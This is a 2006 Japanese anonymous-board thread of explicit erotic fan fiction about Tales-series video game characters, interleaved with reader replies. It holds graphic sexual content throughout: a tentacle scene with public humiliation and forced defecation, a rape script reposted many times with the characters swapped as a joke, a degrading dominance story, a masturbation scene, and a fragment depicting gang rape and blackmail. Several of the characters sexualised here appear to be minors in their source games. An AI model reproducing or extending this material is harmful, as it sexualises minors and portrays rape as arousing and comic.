それ以上の浸入を遮るべく、ギュッと足を閉じる。触手が圧迫されて股間から離れる。
次の瞬間、触手が両足に絡みつく。
「えっ…」
リアラは触手の力の入れ具合から、何をするつもりか分かってしまった。
「ちょ、ちょっとまってっ!!」

ガバッ

M字型に足が開かれ、前後の穴がはっきりと男達の目にさらされた。
「いやあああああああああああっ!!」
何人かが唾を飲み込む音が聞こえる。愛液が溢れ出している秘部がギラギラと
輝くたくさんの目で見つめられる。
そして、足を支えているものとは別の触手が秘部と尻穴に入っていく。
「だ、だめぇっ」

じゅぷぷぷぷぷぷぷぷ……

「はあああああああぁぁぁんっ……」
潤滑液が十二分に効果を発揮し、スムーズに奥へ入っていく。

じゅぷぅっじゅぷっじゅぷぅっ

「ああん、はあん、あぁんっ」
触手が両方の穴を大きな水音を立てながら出入りする。
グチャグチャとしぶきを飛ばしながら出入りする様が他の人間からもはっきりと見てとれる。
既に男達全員が自分のモノを取り出してしごいていた。


793 名前:girl2 :2006/09/07(木) 21:06:13 ID:FVcX3for
そのうち、尻のほうに刺さった触手が体液の放出を始める。

びゅるるるる…

「あぁん…熱い……」
大量に放出され続ける。

びゅるるるる…

「?」
随分と長いこと放出を続けたようだ。リアラは腸内が体液で満たされたような
気がした。後ろの穴から触手が抜かれ、続けて前の穴を犯され続ける。

じゅぷっじゅぷっ

「はあぁん、いやあぁん………え!?」
リアラは自分の体の異変を察知し我に返った。おなかの調子がおかしい。
「こ、このままじゃ…!!」
最悪の事態を考え、リアラは触手から逃れようとする。
「は、放して…きゃっ!」

触手の力には叶わず、それどころか四つんばいにさせられる。
「ちょっ…」

尻肉をつかまれ、横に広げられる。尻穴が男達に対し思い切り強調される。
「い、いやぁぁっ!!」
リアラは空間移動するしか無いと判断し、ロニに叫ぶ。
「ロニっ、レンズをこっちに投げてっ!もうこの方法はやめっ!船は私が他の方法で
何とかするからぁっ!」
「わ、悪りぃ…稼いだレンズは全部ジューダスに預けてんだ。」
ロニはモノをしごきながら申し訳無さそうに答える。
「……?…………………………!!!!!!!!」

794 名前:girl2 :2006/09/07(木) 21:07:23 ID:FVcX3for
もう問答している暇もない。リアラは必死にもがき、尻を振る。
それに触発され、男達がモノをしごく速度がアップしていく。
リアラの尻穴が何度もヒクヒクと動く。
「やだ、やだ……絶対やだぁああっ!」
そのとき、秘部を犯していた触手が脈打ち、膣内に熱い体液をばらまいた。
「ああああああぁんっ!!!!」

「も、も、もう駄目ぇ……………んんんんぅぅぅううう!!」
限界を突破したことを示す悲鳴が上がり、尻穴が大きく広がる。

ブババババババアアアッ!!!

「はああああああああああああっ!!!!」
色々なものが混ざった液体がものすごい勢いで噴出する。

ブリリィィィィィッ!!

「いやああああああああああっ!!!」
とてつもなくはしたない音とともに、白い尻から黒い物体がひり出される。

ブシュッ!!ブシュッ!!!ブシュッ!!

「ふわああああっ!!!ふあああああっ!!!」
ガスやら何やらが断続的に噴き出す。

それらが何度も繰り返される。そのあまりに凄まじい光景を目撃した男達により、船底は白濁液でまみれた…。

……しばらくしてから船が止まり、ようやくジューダスが降りて来る。
船底は色々な体液でめちゃくちゃになっていて、ぐったりしたリアラを含む18人もの
人間と大人しい魔物が一匹いた。
「よくやったぞリアラ。これでこいつと遠慮なく戦える。あとは僕に任せろ。」
剣を構えるジューダス。
「………」
リアラは一言も発せず、あまりの精神的ショックと疲労感から気絶した。

その後リアラはこの醜態を補うかのように、元よりもさらに清楚に、しとやかに振舞うようになったらしい。

795 名前:girl2 :2006/09/07(木) 21:08:38 ID:FVcX3for
終了です。

796 名前:名無しさん@ピンキー :2006/09/07(木) 21:16:43 ID:AYNGIg1f
GJ!!!

797 名前:名無しさん@ピンキー :2006/09/08(金) 20:40:12 ID:43TbW9Xf
「や…めて…チェスター…」
アーチェは懇願した。

あれほど信頼していたチェスターに犯されている。
その事実を認めたくない。
「いやだね。この俺がどんだけ我慢したと思ってんだよ。大人しくヤられろ。溜まってんだよ」
「やだ…やだよぉ…」
「…のワリにはしっかり濡れてんじゃねぇか?」
「あッ!!ひぁ…ッ…」
秘部を指で弄られ、思わず声を漏らす。

798 名前:名無しさん@ピンキー :2006/09/08(金) 20:42:15 ID:43TbW9Xf
続き?
無ぇよ。

799 名前:名無しさん@ピンキー :2006/09/08(金) 20:45:47 ID:I7qcWVVO
「や…めて…クーリッジ…」
クロエは懇願した。

あれほど信頼していたセネルに犯されている。
その事実を認めたくない。
「いやだね。俺がどんだけ我慢したと思ってんだよ。大人しくヤられろ。溜まってんだよ」
「やだ…やだよぉ…」
「…のワリにはしっかり濡れてんじゃん?」
「あッ!!ひぁ…ッ…」
秘部を指で弄られ、思わず声を漏らす。

少し変えたがあまり違和感ないな

800 名前:名無しさん@ピンキー :2006/09/09(土) 00:33:57 ID:UksiwKp7
>>799
ロイド・プレセア、リッド・メルディなんかもいけるぞ

801 名前:名無しさん@ピンキー :2006/09/09(土) 00:34:51 ID:UksiwKp7
すまんsage忘れた

802 名前:名無しさん@ピンキー :2006/09/09(土) 01:35:05 ID:pRyLBw9m
リアラエロいよリアラ

803 名前:名無しさん@ピンキー :2006/09/09(土) 08:52:31 ID:JlGTYUTN
じゃあ、モースとティアで・・・


ごめんなさいorz

804 名前:名無しさん@ピンキー :2006/09/09(土) 09:52:11 ID:+LkQKkJj
「や…めて…ロイド…」
コレットは懇願した。

あれほど信頼していたロイドに犯されている。
その事実を認めたくない。
「いやだね。この俺がどんだけ我慢したと思ってんだよ。大人しくヤられろ。溜まってんだよ」
「やだ…やだよぉ…」
「…のワリにはしっかり濡れてんじゃねぇか?」
「あッ!!ひぁ…ッ…」
秘部を指で弄られ、思わず声を漏らす。

805 名前:名無しさん@ピンキー :2006/09/09(土) 09:59:05 ID:+LkQKkJj
「や…めて…大詠師様…」
ティアは懇願した。

あれほど信頼していたモースに犯されている。
その事実を認めたくない。
「いやだ。この私がどれだけ我慢したと思っているのだ。大人しくヤられなさい。溜まっているんだ」
「やだ…やだよぉ…」
「…のワリにはしっかり濡れているが?」
「あッ!!ひぁ…ッ…」
秘部を指で弄られ、思わず声を漏らす。

806 名前:うはwww :2006/09/09(土) 16:23:14 ID:RQvwnCHY
「や…めて…ロイド…」
クラトスは懇願した。

あれほど信頼していたロイドに犯されている。
その事実を認めたくない。
「いやだね。この俺がどんだけ我慢したと思ってんだよ。大人しくヤられろ。溜まってんだよ」
「やだ…やだよぉ…」
「…のワリにはしっかり濡れてんじゃねぇか?」
「あッ!!ひぁ…ッ…」
秘部を指で弄られ、思わず声を漏らす。

807 名前:名無しさん@ピンキー :2006/09/09(土) 17:03:27 ID:UksiwKp7
>>806
801はやめて

808 名前:名無しさん@ピンキー :2006/09/09(土) 21:01:03 ID:LerT79Mv
すごいタイミングだったからうっかり吹いたw

809 名前:名無しさん@ピンキー :2006/09/10(日) 00:26:54 ID:ZcT1KF64
>>805
信頼してねーだろwwwwww

810 名前:名無しさん@ピンキー :2006/09/10(日) 00:37:41 ID:AHSNOwzV
「や…めて…チェスター…」
アーチェは懇願した。

あれほど信頼していたチェスターに犯されている。
その事実を認めたくない。
「いやだね。この俺がどんだけ我慢したと思ってんだよ。大人しくヤられろ。溜まってんだよ」
「やだ…やだよぉ…」
「…のワリにはしっかり濡れてんじゃねぇか?」
「あッ!!ひぁ…ッ…」
秘部を指で弄られ、思わず声を漏らす。
「ココがイイ?」
「やぁッ…ん…」
「ヒクヒクしてらぁ」
アーチェのアソコは愛液を垂れ流しながら物欲しそうにヒクついている。
(無理矢理されるのに感じちゃうなんて…くやしいっ…)

811 名前:うほっw :2006/09/10(日) 02:26:43 ID:r26R5/Un
「や…めて…ロイド…」
マグニスは懇願した。

あれほど信頼していたロイドに犯されている。
その事実を認めたくない。
「いやだね。この俺がどんだけ我慢したと思ってんだよ。大人しくヤられろ。溜まってんだよ」
「やだ…やだよぉ…」
「…のワリにはしっかり濡れてんじゃねぇか?」
「あッ!!ひぁ…ッ…」
秘部を指で弄られ、思わず声を漏らす。
「ココがイイ?」
「やぁッ…ん…」
「ヒクヒクしてらぁ」
マグニスのアソコは愛液を垂れ流しながら物欲しそうにヒクついている。
(無理矢理されるのに感じちゃうなんて…くやしいっ…)

812 名前:名無しさん@ピンキー :2006/09/10(日) 03:05:55 ID:CgPqHGD8
《811          マジ吹いたー

813 名前:名無しさん@ピンキー :2006/09/10(日) 04:14:13 ID:vLsPtxaH
マグニス最高
腹が痛いw

814 名前:名無しさん@ピンキー :2006/09/10(日) 09:58:43 ID:AHSNOwzV
「や…めて…皆…」
ジェイは懇願した。

あれほど信頼していたモフモフ達に犯されている。
その事実を認めたくない。
「いやだキュ。キュッポ達がどれだけ我慢したと思ってんだキュ。大人しくヤられるキュ。溜まってんだキュ」
「やだ…やだよぉ…」
「…のワリにはしっかり濡れてるキュ?」
「あッ!!ひぁ…ッ…」
秘部を指で弄られ、思わず声を漏らす。
「ココがイイキュ?」
「やぁッ…ん…」
「ヒクヒクしてるキュ」
ジェイのアソコは愛液を垂れ流しながら物欲しそうにヒクついている。
(無理矢理されるのに感じちゃうなんて…くやしいっ…)

815 名前:名無しさん@ピンキー :2006/09/10(日) 17:34:41 ID:urF6CaeK
ジェイって女だったのか・・・(れじぇ未プレイ

816 名前:名無しさん@ピンキー :2006/09/10(日) 18:43:01 ID:kdec5WrO

「や…めて…シンク…」
アリエッタは懇願した。

あれほど信頼していたシンクに犯されている。
その事実を認めたくない。
「いやだね。この僕がどんだけ我慢したと思ってんだよ。大人しくヤられろ。溜まってんだよ」
「やだ…やだよぉ…」
「…のワリにはしっかり濡れてんじゃねぇか?」
「あッ!!ひぁ…ッ…」
「ココがイイ?」
「やぁッ…ん…」
「ヒクヒクしてらぁ」
アリエッタのアソコは愛液を垂れ流しながら物欲しそうにヒクついている。

(無理矢理されるのに感じちゃうなんて…くやしいっ…)


結構自然な感じになった。

817 名前:girl3 :2006/09/10(日) 20:52:36 ID:p9OpCkgy
前回やりすぎた気がしたので、純愛を書こうとして書き始めたのになんか変な方向にいってしまいますた(´・ω・`)
カイル×リアラです。

818 名前:girl3 :2006/09/10(日) 20:53:48 ID:p9OpCkgy
「part6 森にて」

一行は改変現代にいた。
蒼天都市ヴァンジェロを出て紅蓮都市スペランツァに向かう途中、夜になった
ので森の近くで野営をしている。
「カイル〜あっちにきれいな場所があるの。行きましょ」
「ん…分かったよリアラ」
ストレイライズ神殿でペンダントによりカイルが英雄認定されて以来、二人は
ずいぶん仲良くなったようである。
「カイル、あんまり遠くにいくんじゃないぞ」
「いってらっしゃーい」
焚き火のそばにいるロニとナナリーが声をかける。

森に浅く入り、二人きりになった。
「この辺でいいかしら…カイルさま、もう我慢できません…」
「またアレ入れてたの?」
リアラがスカートをまくる。リアラの秘部には小刻みに揺れるバイブが刺さっている。
愛液でびしょびしょになっているそれをカイルが引き抜く。

ちゅぽんっ

「あんっ…」
「ごほん、して欲しかったら態度で示してくれるかな」
カイルは仰向けに寝転び、リアラに促した。
「は、はい。分かりました…」
リアラはカイルのズボンと下着を下ろし、モノにむしゃぶりつく。

じゅるるるっぴちゃっぴちゃっじゅぱっじゅぱっ

「んっんっんっんっ…」
しばらく続けるとカイルのモノが立派にそそり立つ。
リアラは出来上がったそれを大事そうに手で弄ぶ。

819 名前:girl3 :2006/09/10(日) 20:54:54 ID:p9OpCkgy
「で、では…」
カイルに背を向けてカイルの体をまたぐ。スカートを腰までまくり上げ、
便器に座る姿勢でゆっくりと腰を落とす。

くちゅ…

「あ…」
愛液を流す秘部が雄々しく勃起しているカイルのモノの先端に触れる。

バシイィッ

「きゃんっ」
突然尻を叩かれ、リアラは悲鳴を上げる。
「そんなところからだらだらと物欲しそうによだれを垂らして、とんでもない娘だな。
俺が英雄なら、俺の股間のモノも英雄だ。敬意を表せ。」
「は、はい、英雄さま…わ、わたしの卑しい穴の…お相手をお願いしますっ」
そう言い放つと、リアラは我慢できずに急いで腰を下ろす。

くちゃ…

ビシィッ

「あんっ」
また叩かれる。
「英雄に相手をしてもらうつもりなら、もっと丁寧にやらんかぁっ!」
「はいぃっ」
今度はゆっくり、ゆっくりと腰を下ろす。

ちゅぷ…じゅぷぷぷぷぷぷぷぷぷぷぷ………

「あああぁあああぁああああああああん…」
待ち望んでいた感触にため息混じりの嬌声を上げるリアラ。
「うおっ…」
内壁の湿ったひだが英雄の全体を絶え間なくこすり続ける。
頭にビリビリと刺激が走り、早くも出そうになるが何とか押しとどめる。
膣の奥まで到達した。
「ふぅ、ふぅ…」

820 名前:girl3 :2006/09/10(日) 20:55:57 ID:p9OpCkgy
息を吐き出し、なんとか英雄を落ち着けようとするカイル。これが聖女の力なのか、
たった一度の摩擦によりカイルは一気に劣勢に立たせられる。

ぐちゅるるっ!ぱぁん、ぱぁん、ぱぁん!

「どわああああ!!」
「ああああぁんっ!英雄様は太くて、硬くて、最高ですぅっ!!」
リアラが突然激しく腰を上下に振り始めた。

ばしぃっ!

「きゃんっ」
その不意打ちに屈服しそうになる寸前で、尻を叩いて何とかリアラの動きを止めた。
「はぁ、はぁ…エロ犬が…。そうだ、犬にはもっとふさわしい犯され方がある。
一度立って、こっちに尻を向けろ。」
「はい…」

じゅぽぽぽぽ…ちゅぽっ…

リアラが立ち、魅惑的な秘肉が離れる。
「ふう…」
カイルは英雄を抜かれている間も快感に耐えることに集中していた。
天を突き、愛液でてらてらと輝く英雄の姿を見るリアラ。
「あぁん……」
ため息をつき、足をこすり合わせ、もの欲しそうに見つめる。
「よ、よし、いったとおりにするんだ」
リアラは再びスカートを腰までまくり、膝をつき、カイルに尻を向ける。
カイルは英雄を構え、秘部にゆっくりと突き入れる。再びものすごい快感が襲い掛かる。
亀頭がもぐりこんだところで、一度止める。
「まったく、戦闘中にあんあん鳴きやがって…この前なんぞお前のせいで詠キャン失敗しちま」
「もう我慢できませんっ、英雄さまっ!!」

ぐちゃっぐちゃっ!ぱんっぱんっぱんっ!

「ぐわあああっ!」
「あああああぁんっ!英雄様硬いいぃっ!英雄気持ちいぃぃっ!」
カイルの言葉も終わらないうちにリアラは尻を押し付け、途中まで埋まっていた英雄を一気に
奥まで誘い込み、獣のように尻を振る。
突然の秘肉との摩擦により、カイルの体を電撃が走り抜ける。
「…ち、ちくしょおおおっ!うああっ!!」

ビュルッビュルルッ

「はああああああぁっ!!!」
リアラの体が震え、硬直する。カイルは少し白濁液を出してしまったところで、何とか耐える。



821 名前:girl3 :2006/09/10(日) 20:57:17 ID:p9OpCkgy
バシッ!ビシッ!

「きゃん!きゃん!」
「このエロ犬がぁっ!!ちょっとは我慢できんのかぁっ!!」
カイルはリアラの尻に手を振り下ろしながら言う。
「仮にも聖女のくせに、自分の欲望だけを追求するとはっ!」

「ふん…よし、続けるぞ」
少し出したことにより、だいぶ余裕が出たカイル。

グチャッグチャッ

「あぁんっ!あぁんっ!」
「まったくうるさい雌犬め…しかし、ああ……いい感じだ…」
カイルは程よいペースでしばらく突き続ける。そして、やたら気持ちよさそうにするリアラを見る。
「……しかし、このはしたない犬を喜ばせてばかりというのは何か癪だな。一度抜くか…」
カイルはいったん腰を引こうとする。

ぐちゅぅ…ぐちゅるる!ぐちゅるるる!

「ぬあっ!!」
リアラがカイルに勢いよく尻を擦り付け、円を描くように動かす。あまりにもいやらしい動きである。
「あぁん…英雄さまぁ…その精、頂戴いたします…」
「そ、そ、その程度の動きでっ…」
カイルは突然の変化球に対して我慢するだけで精一杯になる。

822 名前:girl3 :2006/09/10(日) 20:58:24 ID:p9OpCkgy
リアラのペンダントが一瞬光り、リアラの口の前に異空間が現れる。リアラはその異空間に舌を差し込む。
円の軌跡を描く刺激に耐え続けている最中に、カイルの亀頭が生暖かくヌルッとした物体に触れる。
「ん?」
その物体がカイルの尿道、裏スジを問わず亀頭全体をめちゃくちゃに舐めまわす。
リアラの口の辺りからびちゃびちゃという淫らな音が聞こえる。
「!!!〜〜〜〜〜〜〜〜〜〜〜〜〜〜!!!」

ビュルルルルルルルルルルッビュルルッどぴゅぅっ

「きゃああああああああぁああぁんっ!!」
リアラは歓喜の表情で熱いものを迎え入れた。

……
バシッバシッバシッ

「英雄の俺に犬の分際でよくも楯突いたなっ!!」
「あぁんっ、あぁんっ、お許しくださいぃぃぃっ」
尻を叩かれながら股間から愛液を流すリアラ。
「叩かれているのに感じやがってこの変態が…今度人を舐めた真似をしたらこんなものじゃすまんぞ」
「はいぃ…」

……

「よし、いくよリアラ。みんなの前では普通に振舞うように」
「分かってるわ、カイル。わたしの英雄さま…」
リアラの英雄に対する依存心は相当強いものであった。

「……妙な遊びを覚えたようだな……」
焚き木を拾いにきて、偶然そばを通りかかったジューダスはため息をついた。
そのまま二人に気付かれないよう、焚き火のそばまで小走りで戻る。
ロニとナナリーがいない。岩陰のほうでわずかに声が聞こえるのでそばまで行ってみる。
「ああっロニっ、あたしもうだめぇっ!」
「観念して逝くんだな、凶暴女っ!!」

「……………」
ジューダスは頭を抱えた。

823 名前:girl3 :2006/09/10(日) 20:59:29 ID:p9OpCkgy
終了です。

824 名前:名無しさん@ピンキー :2006/09/10(日) 21:02:16 ID:AHSNOwzV
あー、なんつーかな…ウケたww笑
ジューダスカワイソス

825 名前:名無しさん@ピンキー :2006/09/10(日) 21:52:11 ID:p9OpCkgy
感想レスありがとうございます。また何か考えたら投下します(`・ω・´)

826 名前:名無しさん@ピンキー :2006/09/10(日) 22:11:32 ID:82LxJ5pY
ジューダス…(・∀・)

827 名前:名無しさん@ピンキー :2006/09/10(日) 22:15:50 ID:5aTogT8y
ジューダ馬鹿なっ!スレからきますた
自分の頭がおかしかったときに書いたキャストネタがこんな形になるとはww
GJ!

828 名前:名無しさん@ピンキー :2006/09/10(日) 22:22:37 ID:8b8ALayI
>>825
ゲーキャラ板のスレにエロパロ板のことを持ち出すのは違反ですよ。
健全板のスレに21禁板のことを書くのは2ちゃん全体で禁止されてます。

アビス厨が大量に流れてきてスレが荒れてしまったのも職人がキャラスレに
投下アナウンスしたせいなんだから少しは考えて欲しい。

829 名前:名無しさん@ピンキー :2006/09/10(日) 22:28:37 ID:p9OpCkgy
orz

830 名前:名無しさん@ピンキー :2006/09/10(日) 22:37:56 ID:p9OpCkgy
ネタ元に一言断り入れといたほうがいいかと思ったもんですから…
まあ、D2系のスレ住人は精神年齢高めと思われますので…被害はあまりないかと思われます。

すいませんでした。

831 名前:改変 :2006/09/10(日) 23:32:29 ID:r26R5/Un

「や…めて…カイル…」
バルバトスは懇願した。

あれほど信頼していたカイルに犯されている。
その事実を認めたくない。
「いやだ。この俺がどんだけ我慢したと思ってんだよ。大人しくヤられろ。溜まってんだよ」
「やだ…やだよぉ…」
「…のワリにはしっかり濡れてんじゃねぇか?」
「ぶッ!!ぶるぁ…ッ…」
「ココがイイ?」
「やぁッ…ん…」
「ヒクヒクしてらぁ」
バルバトスのアソコは愛液を垂れ流しながら物欲しそうにヒクついている。

(無理矢理されるのに感じちゃうなんて…ぶるぁっ…)


832 名前:名無しさん@ピンキー :2006/09/11(月) 01:03:53 ID:r+bzqkwl
>>830
ヒント:厨房
汚いから触(ry

833 名前:名無しさん@ピンキー :2006/09/11(月) 01:13:02 ID:U7Br3gBU
>>830
問題なのは精神年齢じゃないよ。
実年齢だよ。
精神年齢が高いとか言ってる時点で精神年齢が低い&実年齢も子供だと言ってるようなもの。
本当に成人してるなら精神年齢が高いとか言わないから。

834 名前:名無しさん@ピンキー :2006/09/11(月) 01:25:19 ID:QQPW1OLX
>>833
大量に流入してきてここを荒らしたりはしないだろうって意味なんですが…

835 名前:名無しさん@ピンキー :2006/09/11(月) 07:19:18 ID:W3IeGavZ
つーか、ルール違反した事にまず問題があるわけで……精神年齢云々、意味がどうとかの問題じゃない。
そもそも本当に大人なら、過去を考慮したり、規則を守るのは常識。
知らなかったなら言い訳せず真摯に受けとめてくれ。
なにはともあれ、GJ。

836 名前:名無しさん@ピンキー :2006/09/11(月) 08:51:15 ID:Z6nacGwo
こんだけ言えば分かったろうからこの流れストップな。

てゆかギャグなのかエロネタなのかわかんねwwwGJ

837 名前:名無しさん@ピンキー :2006/09/12(火) 00:39:24 ID:ekgOdwJH
>>831
改変なのに爆笑させていただいた。
ぶるあっ・・・・ってwwwGJだよw

838 名前:名無しさん@ピンキー :2006/09/12(火) 12:46:31 ID:wa7zLZIw
801はやめてほしい
でもぶるあが噴いたw

839 名前:名無しさん@ピンキー :2006/09/13(水) 23:33:19 ID:aZIpK/sg

「や…めて…ロイド…」
ジーニアスは懇願した。

あれほど信頼していたロイドに犯されている。
その事実を認めたくない。
「いやだね。この俺がどんだけ我慢したと思ってんだよ。大人しくヤられろ。溜まってんだよ」
「やだ…やだよぉ…」
「…のワリにはしっかり濡れてんじゃねぇか?」
「あッ!!ひぁ…ッ…」
「ココがイイ?」
「やぁッ…ん…」
「ヒクヒクしてらぁ」
ジーニアスのアソコは愛液を垂れ流しながら物欲しそうにヒクついている。

(無理矢理されるのに感じちゃうなんて…くやしいっ…)

…なんか生々しい

840 名前:名無しさん@ピンキー :2006/09/14(木) 00:16:41 ID:8FqshMbz
ついにやおい穴がきたか・・・

841 名前:名無しさん@ピンキー :2006/09/14(木) 00:23:27 ID:jTqfsH4j
ちょwwwwwwwSS保管庫の管理人さん何やってんだよwwwwwwwww
ネタコーナー増やしてるよwwww糞ワロタ

842 名前:名無しさん@ピンキー :2006/09/14(木) 22:31:38 ID:X8z1AHie
うはwww乙wwwwww

843 名前:名無しさん@ピンキー :2006/09/14(木) 23:06:37 ID:xn0NObxc
保管庫のネタSS試してみたw
結果貼っとく。


「や…めて…デデちゃん…」
フォッグは懇願した。

あれほど信頼していたデデちゃんに犯されている。
その事実を認めたくない。
「いやだね。この俺がどんだけ我慢したと思ってんだよ。大人しくヤられろ。溜まってんだよ」
「やだ…やだよぉ…」
「…のワリにはしっかり濡れてんじゃねぇか?」
「あッ!!ひぁ…ッ…」
「ココがイイ?」
「やぁッ…ん…」
「ヒクヒクしてらぁ」
フォッグのアソコは愛液を垂れ流しながら物欲しそうにヒクついている。

(無理矢理されるのに感じちゃうなんて…くやしいっ…)


組み合わせは悪気があってやった。
つまんなかったらすまん。
因みにデデちゃんの性別は判らんけど多分メスだと思ってフォッグの相手に選んだ。

844 名前:名無しさん@ピンキー :2006/09/15(金) 13:54:52 ID:9+POhYL/
フォッグよりクィッキーの方がよくないか?

845 名前:名無しさん@ピンキー :2006/09/15(金) 21:31:53 ID:ebFTtTeW
よくねぇよwwww

846 名前:名無しさん@ピンキー :2006/09/16(土) 00:29:25 ID:vdUVQtfk
ちょっwwこれワロスwww

847 名前:名無しさん@ピンキー :2006/09/17(日) 14:40:39 ID:9vD5k5ak
>>844
何冷静に突っ込んでるんだwwww
問題はそこじゃないだろwwwww

848 名前:名無しさん@ピンキー :2006/09/17(日) 19:12:50 ID:dE0VgTtZ
>>844
クィッキーにはチャットが似合うw
てことで…↓


「や…めて…クィッキー…」
チャットは懇願した。

あれほど信頼していたクィッキーに犯されている。
その事実を認めたくない。
「いやだね。この俺がどんだけ我慢したと思ってんだよ。大人しくヤられろ。溜まってんだよ」
「やだ…やだよぉ…」
「…のワリにはしっかり濡れてんじゃねぇか?」
「あッ!!ひぁ…ッ…」
「ココがイイ?」
「やぁッ…ん…」
「ヒクヒクしてらぁ」
チャットのアソコは愛液を垂れ流しながら物欲しそうにヒクついている。

(無理矢理されるのに感じちゃうなんて…くやしいっ…)


クィッキーの性別は判らんのでオスってことにしといてくれると助かる。

849 名前:名無しさん@ピンキー :2006/09/17(日) 21:24:37 ID:hJlSpteO
ってかチャットはクィッキーを信頼してるのか?

850 名前:名無しさん@ピンキー :2006/09/17(日) 21:54:53 ID:dE0VgTtZ
>>849
そういう事にしといて。

851 名前:名無しさん@ピンキー :2006/09/18(月) 00:33:11 ID:YyeYlqKK
むしろクィッキーを信頼してるのはメルディだろw
クィッキーに犯されるメルディ見てキールのイチモツビンビン ワロス

852 名前:名無しさん@ピンキー :2006/09/18(月) 21:18:57 ID:YyeYlqKK
>>851
しかし覗くだけで手が出せないキポン

853 名前:名無しさん@ピンキー :2006/09/19(火) 18:49:26 ID:6Zuc5Dq+
>>848
てかクィッキー喋らんだろ

854 名前:名無しさん@ピンキー :2006/09/19(火) 23:46:15 ID:WlArxNXj
「や…めて…クィッキー…」
メルディは懇願した。

あれほど信頼していたクィッキーに犯されている。
その事実を認めたくない。
「くいっきーっ☆(いやだね。この俺がどんだけ我慢したと思ってんだよ。大人しくヤられろ。溜まってんだよ)」
「やだ…やだよぉ…」
「くぃっきー?(…のワリにはしっかり濡れてんじゃねぇか?)」
「あッ!!ひぁ…ッ…」
「くぃ?(ココがイイ?)」
「やぁッ…ん…」
「くぃーっ☆(ヒクヒクしてらぁ)」
メルディのアソコは愛液を垂れ流しながら物欲しそうにヒクついている。

(無理矢理されるのに感じちゃうなんて…くやしいっ…)

855 名前:名無しさん@ピンキー :2006/09/19(火) 23:54:21 ID:DGgGDrzR
ちょw

856 名前:名無しさん@ピンキー :2006/09/20(水) 10:36:22 ID:3re1Y8hO
全キールが抜いた

857 名前:名無しさん@ピンキー :2006/09/20(水) 21:44:58 ID:h9auZTKk
メルディの初めてはクィッキーだった

858 名前:名無しさん@ピンキー :2006/09/21(木) 18:49:16 ID:VZ4AhVL/
>>854
いや確かに喋ってないけどさwwでもさwww

859 名前:名無しさん@ピンキー :2006/09/21(木) 22:02:46 ID:AQH7o3oX
>>854のクィッキーとメルディをコッソリ覗いてたキール ↓

「ハァハァ……ハァ…ハァッ…ハァハァハァハァッ……うっ!!」
ドピュッ!!!
「……………僕って最低だ…」


エヴァのパクリでごめん。

860 名前:名無しさん@ピンキー :2006/09/23(土) 08:09:39 ID:XhGv6xNc
一人で抜いてるとこを見られるキール希望

861 名前: ◆gyBUom8eVs :2006/09/23(土) 18:55:16 ID:oXKMZmWW

「っ・・・・・はぁっ、・・・くぅっ」

ここはとある町の宿屋の一室。
ベッドの上で、キール・ツァイベルは一人自慰に耽っていた。
共に旅をする仲間達は、町を見物しにいくと部屋を出て行ったばかりである。
キールは「少し疲れたから、先に休みたい」と言い部屋に残った。
もちろん疲れているのも事実だったが、それ以上に体が昂ぶっていた。

キールは決していつもこういった衝動を持っているわけではないし、
ちょっとやそっとの性欲くらいは自制心でたやすく押さえ込める。
だが、四六時中異性(それもあんまりにも無防備な異性だ)と一緒に旅をしては、
その精神力に限界が訪れても仕方の無いことである。
旅で一人になれる時間というのは意外と少ない。
宿屋をとるにしてもリッドと相部屋であるし、まさか移動中に処理するわけにもいかない。
こうして、町見物を返上しての自慰敢行となったわけである。

(日没までまだある。少なくとも30分は戻らないだろう)
仲間達が出て行ったのを見届けた後、キールは邪魔な制服を脱ぎ、下着姿になった。
ベッドに腰かけ、下着を下ろして一物を取り出すと、なんとも言えない情けなさに襲われたが、
(だが、夜中に下着を汚すハメになるよりはマシか)
そう気を取り直してゆっくりと一物を左手に納める。
疲れで半勃ちになったそれは、キール自身に自覚は無かったがかなり大きめのモノであった。

しばらく無言で眺めていたそれを、キールはゆっくりと上下に扱きだした。
まだ女体を知らないペニスが充血し、海綿体が膨張を始め、ビクビクと脈動する。
手っ取り速く済ませるために、キールはある少女の、まだ少し幼いであろう肢体を思い浮かべた。
そして、左手の上下運動を若干速める。
身近な存在をオカズに使うことによる背徳感と、それにより得られる快感に顔を顰めながら、
それでも手は休まず動き続ける。
「くっ、ぁ・・・・・・はぁっ、はぁっ」
旅の最中、ふとした拍子に目に入った少女のしなやかで瑞々しい太股。
そしてその秘部を包み込む清楚な布地。
一瞬の出来事であり、だからこそ脳裏に焼き付いて離れないヴィジョンを
その優れた記憶力で思い浮かべながら、握った手をシコシコ、シコシコと激しく上下に動かす。

いつのまにかキールはベッドに倒れこんでいた。
眼は閉じ、顔を顰め、喉を曝け出して切なげに呼吸を繰り返す。
硬く勃起した生殖器を突き出すように腰を浮かせ、左手で激しく擦りあげるその鈴口からは、先走りの液体が溢れていた。
「はっ、はっ、はぁっ!うぅっ!!」
今や脳内ではキールは少女と交わっていた。
その小柄な体を抱きしめ、腰を振り、そしてこの猛った情欲をその体に解き放つ―――!!


―――勢い良く部屋のドアが開いたのは、その時だった。



862 名前:名無しさん@ピンキー :2006/09/23(土) 22:12:41 ID:XhGv6xNc
続きが気になるじゃぬぇーかw

863 名前:名無しさん@ピンキー :2006/09/24(日) 16:18:31 ID:BwSUQtnf
文章がくどい

864 名前:名無しさん@ピンキー :2006/09/24(日) 18:53:27 ID:KQGhCq6u
入ってきたのはだれだ?w

865 名前:名無しさん@ピンキー :2006/09/24(日) 19:54:46 ID:V7v/0kKP
これはもうwktk

866 名前:名無しさん@ピンキー :2006/09/24(日) 23:52:30 ID:7ZA2KiHe
頭良い奴は何考えてるかわからないもんだw

867 名前:名無しさん@ピンキー :2006/09/25(月) 00:32:27 ID:PRoV/B+i
今までの何よりも強い重圧を、導師守護役の少女‐アニス・タトリン‐は感じていた。
『俺達の言う事をちゃ〜んと聞かないと、この写真とこの事を導師にバラすからな』
そう言われたら、従わざるを得なかった。
『この』事とは…集団レイプの事だ。
少女の体は教団の男達にマワされ、液という液に塗れ、汚されてしまったのだ。
そして男達の『言う事』とは…

ヴ…「あっ…」
ヴ…ヴ…「ん、あッ…」
ヴヴ…ヴヴ…「やぁ、ぁ…」
バイヴの事だった。
ヴヴヴヴヴヴヴ!!
「や、あ、あ、あ、も、ぃや、やめ、死んじゃ、死んじゃうぅ!!」

868 名前:名無しさん@ピンキー :2006/09/25(月) 09:05:46 ID:Krjbzn1B
トクナガでたこ殴りにできるんじゃぬぇーかw

869 名前:名無しさん@ピンキー :2006/09/25(月) 13:45:29 ID:DovleJ3g
もっと長くしてくれ!
中途半端な終わり方は認めヌェー

